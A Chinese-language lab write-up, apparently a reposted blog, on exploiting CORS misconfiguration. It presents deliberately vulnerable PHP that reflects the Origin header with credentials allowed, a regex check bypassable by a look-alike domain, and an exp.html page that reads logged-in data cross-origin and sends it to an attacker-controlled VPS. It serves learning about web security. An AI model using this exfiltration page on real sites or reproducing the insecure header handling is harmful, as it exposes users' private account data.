CORS配置錯誤那些事


CORS配置錯誤那些事


這里記錄一下我學習CORS配置錯誤漏洞的實驗過程。

CORS介紹:


跨域資源共享(CORS) 是一種機制,它使用額外的 HTTP 頭來告訴瀏覽器 讓運行在一個 origin (domain) 上的Web應用被准許訪問來自不同源服務器上的指定的資源。當一個資源從與該資源本身所在的服務器不同的域、協議或端口請求一個資源時,資源會發起一個跨域 HTTP 請求。
上面這一段是我網上摘下來的介紹,我個人的淺顯理解是:為了解決需要獲取不同域的資源,但是受限於同源策略無法跨域獲取資源的情況下,可以通過在被獲取資源的響應頭中設置CORS相關字段來達成目的。

CORS關鍵HTTP頭字段


如下這幾個字段,如果配置不當就容易產生安全問題:

Access-Control-Allow-Origin:指定哪些域可以訪問域資源。例如,如果requester.com想要訪問provider.com的資源,那么開發人員可以使用此標頭安全地授予requester.com對provider.com資源的訪問權限。
Access-Control-Allow-Credentials:指定瀏覽器是否將使用請求發送cookie。僅當allow-credentials標頭設置為true時,才會發送Cookie。
Access-Control-Allow-Methods:指定可以使用哪些HTTP請求方法(GET,PUT,DELETE等)來訪問資源。此標頭允許開發人員通過在requester.com請求訪問provider.com的資源時,指定哪些方法有效來進一步增強安全性。

漏洞場景


場景A
假設站點a.com的index.php在登錄之后可以獲取到敏感信息,代碼如下:

// index.php
<?php
if(isset($_SERVER['HTTP_ORIGIN'])){
	header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
	header('Access-Control-Allow-Credentials: true');
}

var_dump($_SERVER);
session_start();
if(@$_SESSION['user'] == 'admin'){
	$info = array('user'=>'admin', 'pass'=>'123123');
	echo json_encode($info);
}else{
	echo 'Login fail, <a href=login.php>login</a>';
}
// login.php
<?php
session_start();

$_SESSION['user'] = 'admin';
header('Location: index.php');

這是我在實踐中遇到過的,Access-Control-Allow-Origin的值為請求包中的Origin。這個問題就大了,我們使用任意的域都可以訪問這個站的資源。我們來實際模擬一下。
我們先訪問http://a.com/index.php,並且點擊login登錄獲取登錄憑證。

我們構造如下exp

<!-- exp.html -->
<html>
<head>
    <script type="text/javascript">
function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    // alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;
	if(this.responseText != ""){
		var url = "http://vps的ip/1.php?data=" + escape(this.responseText);
		var xhttp2 = new XMLHttpRequest();
		xhttp2.open("GET", url, true);
		xhttp2.send();
	}
	
	
    }  
};  
xhttp.open("GET", "http://a.com/index.php", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();


    </script>
</head>
<body>
    <textarea id="demo"></textarea>
</body>
</html>

然后在vps上監聽自己設置的端口,比如我設置的是http://x.x.x.x:4040

此時,我們前面已經獲取到a.com上的登錄憑證,可以直接獲取到敏感信息。然后我們再訪問http://b.com/exp.html,看看效果。

我們可以看到下圖,已經獲取到敏感信息了。我們再看看vps上有沒有拿到敏感信息。

我們可以看到GET請求參數data已經把敏感數據發送過來了。
我們再來看看請求包的詳細情況

我們可以看到 a.com/index.php 獲取到了origin,把他放進Access-Control-Allow-Origin里,我們成功的跨域獲取到了敏感信息。然后看后面的數據包,把獲取到的敏感信息發送到我們的vps上。

場景B
我們根據場景A的代碼稍微變動一下,只需要修改index.php:

// index.php
<?php
if(isset($_SERVER['HTTP_ORIGIN'])){
	if(preg_match('/.*(a\.com)/i', $_SERVER['HTTP_ORIGIN'])){
		header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
		header('Access-Control-Allow-Credentials: true');
	}
}

session_start();
if(@$_SESSION['user'] == 'admin'){
	$info = array('user'=>'admin', 'pass'=>'123123');
	echo json_encode($info);
}else{
	echo 'Login fail, <a href=login.php>login</a>';
}

這里我們可以看到index.php開頭判斷了Origin為*a.com時,取$_SERVER['HTTP_ORIGIN']作為Access-Control-Allow-Origin的值。但是這樣的防護並不嚴謹,我們只需要注冊一個aa.com的域名,就可以繞過這層限制。
我們來實驗一下,將exp.html放到aa.com里。然后訪問http://a.com/index.php並獲取cookie,然后訪問http://aa.com/exp.html。

我們通過上圖,可以看到成功的獲取到了敏感信息。
如果覺得這個方式成本過高,還可以通過另外一個方式。就是在a.com或a.com的子域名里挖掘xss,然后將exp.html里的js放入xss payload位置,同樣可以獲取到敏感信息。

注意事項


  1. 這里可能有些人會問,如果遇到Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true是不是就可以無視同源策略,任意獲取資源了。但是事實並非如此,因為CORS協議為了防止開發者開發時錯誤配置了CORS,規定了Allow-Credentials為ture時,Allow-Origin必須為特定的域名,而不能是*。
  2. 上面的所有測試代碼只是為了模擬真實情況下的效果,真實環境下的代碼可能並不是這樣寫的,只是效果是相似的。

參考文獻


感謝這些文章的師傅講解,讓我能順利學習這個知識點。
淺析CORS攻擊及其挖洞思路
三種對CORS錯誤配置的利用方法
CORS(跨域資源共享)錯誤配置漏洞的高級利用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM